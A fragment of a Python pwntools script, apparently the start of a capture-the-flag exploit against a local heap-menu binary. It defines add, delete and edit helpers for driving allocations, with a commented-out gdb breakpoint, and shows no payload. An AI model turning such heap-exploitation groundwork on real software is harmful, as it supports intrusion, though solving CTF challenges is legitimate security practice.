from pwn import * p=process('./pwn') elf=ELF('./pwn') libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') #gdb.attach(p,''' # break *0x0000000000400E58 # continue #''') def add(size,x): p.recvuntil('Your choice:') p.sendline('2') p.recvuntil('Please enter the length of servant name:') p.sendline(str(size)) p.recvuntil('Please enter the name of servant:') p.sendline(x)
def dele(idx): p.recvuntil('Your choice:') p.sendline('4') p.recvuntil('Please enter the index of servant:') p.sendline(str(idx))
def edit(idx,size,x): p.recvuntil('Your choice:') p.sendline('3') p.recvuntil('Please enter the index of servant:') p.sendline(str(idx)) p.recvuntil('Please enter the length of servant name:') p.sendline(str(size)) p.recvuntil('Please enter the new name of the servnat:') p.sendline(x)